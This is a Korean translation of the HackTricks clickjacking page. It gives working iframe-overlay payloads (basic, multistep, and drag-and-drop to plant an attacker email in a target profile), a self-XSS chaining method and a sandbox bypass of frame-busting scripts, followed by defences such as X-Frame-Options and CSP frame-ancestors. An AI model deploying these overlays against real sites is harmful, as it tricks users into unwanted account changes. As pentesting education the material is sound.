hacktricks/pentesting-web/clickjacking.md

12 KiB

클릭재킹

htARTE (HackTricks AWS Red Team Expert)을 통해 **제로부터 영웅까지 AWS 해킹 배우기**

HackTricks를 지원하는 다른 방법:


Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구로 구동되는 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

클릭재킹이란

클릭재킹 공격에서 사용자투명하게 또는 다른 요소로 위장한 웹페이지의 요소를 클릭하도록 속임수를 당합니다. 이 조작은 사용자에게 의도하지 않은 결과를 초래할 수 있으며, 악성 소프트웨어 다운로드, 악의적인 웹페이지로의 리디렉션, 자격 증명 또는 민감한 정보 제공, 자금 이체 또는 온라인 제품 구매 등이 포함될 수 있습니다.

폼 미리 채우기 트릭

가끔은 페이지를 로드할 때 GET 매개변수를 사용하여 폼 필드의 값을 채울 수 있습니다. 공격자는 이 동작을 악용하여 임의의 데이터로 폼을 채우고 사용자가 제출 버튼을 누르도록 클릭재킹 페이로드를 보낼 수 있습니다.

드래그 앤 드롭으로 폼 채우기

사용자에게 폼을 채우도록 요청하지만 특정 정보(예: 이메일 또는 특정 암호)를 직접 입력하도록 요구하지 않으려면, 사용자에게 드래그 앤 드롭하여 제어된 데이터를 작성할 수 있는 것을 요청할 수 있습니다. 이 예제와 같이.

기본 페이로드

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

다단계 페이로드

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

드래그&드롭 + 클릭 페이로드

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

XSS를 식별하고 사용자가 클릭해야만 XSS를 트리거하는 공격을 발견했으며 페이지가 Clickjacking에 취약한 경우, 사용자를 속여 버튼/링크를 클릭하도록 유도할 수 있습니다.
예시:
계정의 일부 개인 정보(오직 당신만 설정하고 읽을 수 있는 정보)에서 self XSS를 발견했습니다. 이러한 세부 정보를 설정하는 양식이 있는 페이지Clickjacking에 취약하며 GET 매개변수로 양식을 미리 채울 수 있습니다.
__공격자는 Clickjacking 공격을 준비하여 XSS 페이로드로 양식을 미리 채우고 사용자를 속여 양식을 제출하도록 유도할 수 있습니다. 그래서 양식이 제출되고 값이 수정되면 사용자가 XSS를 실행할 것입니다.

Clickjacking 방지 전략

클라이언트 측 방어

클라이언트 측에서 실행되는 스크립트는 Clickjacking을 방지하기 위한 조치를 취할 수 있습니다:

  • 응용 프로그램 창이 주 창 또는 최상위 창인지 확인.
  • 모든 프레임을 표시.
  • 보이지 않는 프레임에서의 클릭 방지.
  • 사용자에게 Clickjacking 시도를 감지하고 경고.

그러나 이러한 프레임 방지 스크립트는 우회될 수 있습니다:

  • 브라우저의 보안 설정: 일부 브라우저는 보안 설정이나 JavaScript 지원 부족에 따라 이러한 스크립트를 차단할 수 있습니다.
  • HTML5 iframe sandbox 속성: 공격자는 allow-forms 또는 allow-scripts 값을 가진 sandbox 속성을 설정하여 allow-top-navigation 없이 프레임 버스터 스크립트를 중화할 수 있습니다. 이렇게 하면 iframe이 최상위 창인지 확인하지 못하게 됩니다.
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

서버 측 방어

X-Frame-Options

X-Frame-Options HTTP 응답 헤더<frame> 또는 <iframe>에서 페이지를 렌더링할 수 있는 정당성에 대해 브라우저에 알려주어 Clickjacking을 방지하는 데 도움이 됩니다:

  • X-Frame-Options: deny - 어떤 도메인도 콘텐츠를 프레임화할 수 없음.
  • X-Frame-Options: sameorigin - 현재 사이트만 콘텐츠를 프레임화할 수 있음.
  • X-Frame-Options: allow-from https://trusted.com - 지정된 'uri'만 페이지를 프레임화할 수 있음.
  • 주의할 점: 브라우저가 이 지시문을 지원하지 않으면 작동하지 않을 수 있습니다. 일부 브라우저는 CSP frame-ancestors 지시문을 선호합니다.

Content Security Policy (CSP) frame-ancestors 지시문

CSP의 frame-ancestors 지시문은 Clickjacking 보호를 위한 권장 방법입니다:

  • frame-ancestors 'none' - X-Frame-Options: deny와 유사합니다.
  • frame-ancestors 'self' - X-Frame-Options: sameorigin과 유사합니다.
  • frame-ancestors trusted.com - X-Frame-Options: allow-from과 유사합니다.

예를 들어, 다음 CSP는 동일한 도메인에서만 프레임화를 허용합니다:

Content-Security-Policy: frame-ancestors 'self';

더 많은 세부 정보 및 복잡한 예제는 frame-ancestors CSP 문서Mozilla의 CSP frame-ancestors 문서에서 찾을 수 있습니다.

child-srcframe-src를 사용한 Content Security Policy (CSP)

**Content Security Policy (CSP)**는 브라우저가 콘텐츠를로드 할 수 있는 소스를 지정하여 Clickjacking 및 기타 코드 삽입 공격을 방지하는 보안 조치입니다.

frame-src 지시문

  • 프레임의 유효한 소스를 정의합니다.
  • default-src 지시문보다 구체적입니다.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

이 정책은 동일 출처(self) 및 https://trusted-website.com에서 프레임을 허용합니다.

child-src 지시문

  • CSP 레벨 2에서 소개되어 웹 워커 및 프레임의 유효 소스를 설정합니다.
  • frame-src 및 worker-src의 대체 수단으로 작용합니다.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

이 정책은 동일 출처(self) 및 https://trusted-website.com에서 프레임 및 워커를 허용합니다.

사용 노트:

  • 폐기 예정: child-src는 frame-src 및 worker-src로 대체되고 있습니다.
  • 대체 동작: frame-src가 없는 경우 frames의 대체로 child-src가 사용됩니다. 둘 다 없는 경우 default-src가 사용됩니다.
  • 엄격한 소스 정의: 악용을 방지하려면 지시문에 신뢰할 수 있는 소스만 포함하십시오.

JavaScript 프레임 방지 스크립트

완벽하지는 않지만 JavaScript 기반의 프레임 방지 스크립트를 사용하여 웹 페이지가 프레임에 포함되는 것을 방지할 수 있습니다. 예시:

if (top !== self) {
top.location = self.location;
}

안티 CSRF 토큰 활용

  • 토큰 유효성 검사: 웹 애플리케이션에서 안티 CSRF 토큰을 사용하여 사용자가 의도적으로 상태 변경 요청을 수행하고 Clickjacked 페이지를 통해 수행되지 않도록 보장합니다.

참고 자료


Trickest를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 워크플로우를 쉽게 구축하고 자동화하세요.
오늘 바로 액세스하세요:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 전문가로 배우세요 !

HackTricks를 지원하는 다른 방법: